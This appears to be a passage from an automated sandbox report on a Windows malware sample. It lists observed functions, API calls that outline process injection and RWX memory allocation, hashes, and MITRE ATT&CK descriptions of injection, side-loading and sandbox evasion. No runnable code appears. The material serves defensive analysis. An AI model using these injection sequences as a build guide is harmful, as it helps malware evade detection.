Snapshot File: hcaresult_8_2_700000_teihrdr.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 9be9b3c6779dbc4fec803037c48c4e54be1ef0d9e37ab80a9898581bd6dc0544
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 5C527974A00229DFDB64CF58C984BA8BBB1BF09314F1481E9E50DAB391DB34AE94DF54

Function 00741518 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00741540
Module32First.KERNEL32(00000000,00000224), ref: 00741560

Memory Dump Source

Source File: 00000008.00000002.2780779918.000000000072F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0072F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_72f000_teihrdr.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: e92ca047c6852e13e11003d318d704e8dd8c0a899fad39ba178357769d0b7357
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 6AF0F6352003146BD7203BF9A88CBAEB6E8AF89324F500528F643920C0DB74EC854A60

Function 00700E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00700223,?,?), ref: 00700E19
SetErrorMode.KERNELBASE(00000000,?,?,00700223,?,?), ref: 00700E1E

Memory Dump Source

Source File: 00000008.00000002.2780540702.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Offset: 00700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_700000_teihrdr.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 363d1c857498136fbe31aee574387ff28b79b8b4375f79cccd03c8d3e1615692
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: AED01231145128B7D7003A94DC09BCD7B5CDF05B62F008411FB0DE9080C774994046E5

Function 004018E6 Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000008.00000002.2779673143.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_teihrdr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction ID: 08a90aa29aaa59261053d8f0d19a3ecdc4dd21bf61fce8c4d66a51d0c793aa75
Opcode Fuzzy Hash: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction Fuzzy Hash: EB11A1F660C204FAEB106AA49C61E7A3318AB40754F304137F613790F5957D9A13F66F

Function 00401915 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000008.00000002.2779673143.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_teihrdr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction ID: d2c64d108ecd7190b789ce3c9d4f03e3911909dfd4099b6475a4add21270c3a3
Opcode Fuzzy Hash: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction Fuzzy Hash: 6D019EB7208208E6DB006AA5AC51ABA33189B44359F304537F723790F6D57D8612E72F

Function 004018F1 Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000008.00000002.2779673143.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_teihrdr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction ID: b5ca90d31d4069b8fd1e735589466699ca1bb5e14181e618ca72d4e2f39bbf06
Opcode Fuzzy Hash: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction Fuzzy Hash: D101D2B6608204EBDB019AF49C62A7A37549F44315F200137FA53790F1D67D8643E72F

Function 00401912 Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000008.00000002.2779673143.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_teihrdr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction ID: 0621b20c29367ada74e4c9127c9a5516285bec5e68af8f441e6b7f153e3f788d
Opcode Fuzzy Hash: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction Fuzzy Hash: 11017CB560C204EAEB109AA49C61A7A3318AB44354F304537FA27790F5D67D9612E72F

Function 007411D7 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00741228

Memory Dump Source

Source File: 00000008.00000002.2780779918.000000000072F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0072F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_72f000_teihrdr.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 96c8ce7fdcfdcdf07e9d0d1261abbbd42b069f58392f8b3a3ac8505bab92dd24
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 80113C79A00208EFDB01DF98C985E98BBF5AF08750F158094FA489B362D375EA90DF80

Function 00401925 Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000008.00000002.2779673143.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_teihrdr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction ID: ea6e3854d66af35421fcd7571e0742f45a6e64d38424a4e1b6315f5079e28d0a
Opcode Fuzzy Hash: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction Fuzzy Hash: 28F08CB6208204EADB00AEA49C61EBA3318AB44314F304533FB23790F5C67D8612E72F

Analysis Process: jtihrdrPID: 7108, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	6.2%
Dynamic/Decrypted Code Coverage:	42.5%
Signature Coverage:	0%
Total number of Nodes:	113
Total number of Limit Nodes:	4

Executed Functions

Function 004014C4 Relevance: 10.8, APIs: 7, Instructions: 277
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2881906138.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_jtihrdr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c516529a2ac13b86f5a9833a34ba141477503330a6309f7cab00fb21d89e914
Instruction ID: a2440897234d9063cbd2a71cb92c382042c3cd10596cdc4f18a7c269882a1901
Opcode Fuzzy Hash: 2c516529a2ac13b86f5a9833a34ba141477503330a6309f7cab00fb21d89e914
Instruction Fuzzy Hash: 0981D5B4504244FBDB208F95CC49FEB7BB8EF81740F20416BF902BA1E5D6749902DB66

Function 004015D5 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040166F
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040169C
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016BF
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016DD
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040174F
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401771

Memory Dump Source

Source File: 00000009.00000002.2881906138.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_jtihrdr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 7ee060c25f7402fbb52614a213f4e0533528eb01ea0636b15e5313f781570415
Instruction ID: 5b275a0397ac31cab10c66c3112b8ecfdbc4447489e22d1c2cba3eb21d005058
Opcode Fuzzy Hash: 7ee060c25f7402fbb52614a213f4e0533528eb01ea0636b15e5313f781570415
Instruction Fuzzy Hash: 8251F9B5900245BBEB208F91CC48FEF7BB8EF85710F10416AFA11BA2A5D7759941CB64

Function 004015DF Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040166F
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040169C
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016BF
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016DD
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040174F
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401771

Memory Dump Source

Source File: 00000009.00000002.2881906138.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_jtihrdr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: ece60b1a1f6b7668ef9dd9651a4bb7dd92a40417c9a174c89548745d0f41eda4
Instruction ID: aa7ad941c6157971e71dc2736092b98b642c15495c2c07021be349f0f8194e9f
Opcode Fuzzy Hash: ece60b1a1f6b7668ef9dd9651a4bb7dd92a40417c9a174c89548745d0f41eda4
Instruction Fuzzy Hash: 4D51FAB5900249BBEB208F91CC48FEF7BB8EF85710F10015AFA11BA2A5D7749945CB64

Function 004015F2 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040166F
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040169C
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016BF
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016DD
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040174F
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401771

Memory Dump Source

Source File: 00000009.00000002.2881906138.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_jtihrdr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 5004b19ac8624500f5096878767cb1f7e044049cfcd571ee7eaf3f6ae6e17c7c
Instruction ID: 51677960ee3875d5e78d4b2c0b9a124aae989836c1cf5ff6a0c78d9f2f0b6c9a
Opcode Fuzzy Hash: 5004b19ac8624500f5096878767cb1f7e044049cfcd571ee7eaf3f6ae6e17c7c
Instruction Fuzzy Hash: 8E51FAB5900249BBEB208F91CC48FAFBBB8EF85710F10415AF911BA2A5D7759941CB64

Function 004015E6 Relevance: 10.7, APIs: 7, Instructions: 163
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040166F
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040169C
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016BF
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016DD
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040174F
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401771

Memory Dump Source

Source File: 00000009.00000002.2881906138.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_jtihrdr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: f3e491e8a03b641489fc3b5b9cce92a4ae92d047acba71485eea125912a2ab07
Instruction ID: 771dbcf6e2504e630b0d67c3c545d31db11f89db77175d6a648901ef483dfe93
Opcode Fuzzy Hash: f3e491e8a03b641489fc3b5b9cce92a4ae92d047acba71485eea125912a2ab07
Instruction Fuzzy Hash: 5451F9B5900249BFEB208F91CC48FEFBBB8EF85B10F100159F911BA2A5D7709945CB64

Function 00403043 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403177
NtTerminateProcess.NTDLL ref: 00403190

Memory Dump Source

Source File: 00000009.00000002.2881906138.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_jtihrdr.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction ID: 174b4c01c38e91558bfb09f2734ea8af57ab2b253068959c7a4b5a028629c542
Opcode Fuzzy Hash: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction Fuzzy Hash: 2D415A31218E084FD768EF5CA84976277D5FB98311F6A43BAE809D7385EA34DC1183C9

Function 0052003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0052024D

Strings

kernel32.dll, xrefs: 0052008F, 00520095
cess, xrefs: 0052018D

Memory Dump Source

Source File: 00000009.00000002.2882377555.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_jtihrdr.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 919b4ee4c9051b2d158f225995026eaa3ecd924755c0c65d7b99845caff89d7f
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 4C526A75A01229DFDB64CF58D984BA8BBB1BF09304F1480D9E54DAB392DB30AE85DF14

Function 0058F34D Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0058F375
Module32First.KERNEL32(00000000,00000224), ref: 0058F395

Memory Dump Source

Source File: 00000009.00000002.2882578584.000000000057D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0057D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_57d000_jtihrdr.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 99d5912cafa7b642599cd3254c1fd44afca33a246eb9c85df19d6e68ee229d71
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: C5F01236600715AFD7203AF5A88DA6A7AE8BF4D725F100939FA46E14C0DB74E8458761

Function 00520E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00520223,?,?), ref: 00520E19
SetErrorMode.KERNELBASE(00000000,?,?,00520223,?,?), ref: 00520E1E

Memory Dump Source

Source File: 00000009.00000002.2882377555.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_jtihrdr.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: a764e639832798b8d740d17924903a9f0c649362d611a0acc80e9a5e0a88a39a
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 75D0123114512877D7002A94DC09BCD7F1CDF05B62F008411FB0DD90C1C770994046E5

Function 00401991 Relevance: 1.3, APIs: 1, Instructions: 64
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004019E0

Memory Dump Source

Source File: 00000009.00000002.2881906138.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_jtihrdr.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: d33cb06ca2e59f630b26b88e285b187a032fff555d198fadb91c317e02e733b4
Instruction ID: 467f6a5a6a8686429b8edb25725d085830e465699c84407eda40119e08959f9c
Opcode Fuzzy Hash: d33cb06ca2e59f630b26b88e285b187a032fff555d198fadb91c317e02e733b4
Instruction Fuzzy Hash: 8C1121B1709204EBD700AA849DA2EBB3258AB01744F300137B653B90F1D13DA913BBAF

Function 004019A9 Relevance: 1.3, APIs: 1, Instructions: 58
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004019E0

Memory Dump Source

Source File: 00000009.00000002.2881906138.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_jtihrdr.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 9898664b938d16c2b1b4e01e78ced3648756847b2d56eb08e3b848ce02c96c48
Instruction ID: 4b76d244f62df5aef60288e90a8a0e9aa1e58495ecd570ece09185835f727098
Opcode Fuzzy Hash: 9898664b938d16c2b1b4e01e78ced3648756847b2d56eb08e3b848ce02c96c48
Instruction Fuzzy Hash: E801CCB1709204EBDB009A849DA2FBB3254AB45704F304177BA53B91F1C13EA513BBAF

Function 004019AF Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004019E0

Memory Dump Source

Source File: 00000009.00000002.2881906138.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_jtihrdr.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 30d86e508bd442fb29cd97d6ceaaa55f0d5a2af66fd42037641b9e80c01793f8
Instruction ID: a86496d5c410a92ffac719b016bd7af058b42942f4ddbef250fd57ab9bd781cb
Opcode Fuzzy Hash: 30d86e508bd442fb29cd97d6ceaaa55f0d5a2af66fd42037641b9e80c01793f8
Instruction Fuzzy Hash: BA01DE71309204EBDB00AA848C81BAB3264AB45300F204177F653790F1D23E9522AF5B

Function 004019B8 Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004019E0

Memory Dump Source

Source File: 00000009.00000002.2881906138.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_jtihrdr.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: c7b252bb0c0a7946a725b17b144dae5cf8c90d4b141733e10c6a991a9ec1216b
Instruction ID: 05dce09b803754dc438333d14fb16c9d77e26ddd6ef6fde50045693b00902851
Opcode Fuzzy Hash: c7b252bb0c0a7946a725b17b144dae5cf8c90d4b141733e10c6a991a9ec1216b
Instruction Fuzzy Hash: 67019E31309104EBEB009B949C82BAB3764AF46314F2445B7F652B91E1D63D9922AB5B

Function 0058F00C Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0058F05D

Memory Dump Source

Source File: 00000009.00000002.2882578584.000000000057D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0057D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_57d000_jtihrdr.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: fa708f404b4140f41c0418234829f32c27fbbdf9cf5d6a7240e88281e8bb790f
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 2D113279A00208EFDB01DF98C985E98BFF5AF08350F0580A4F9489B362D771EA50DF40

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
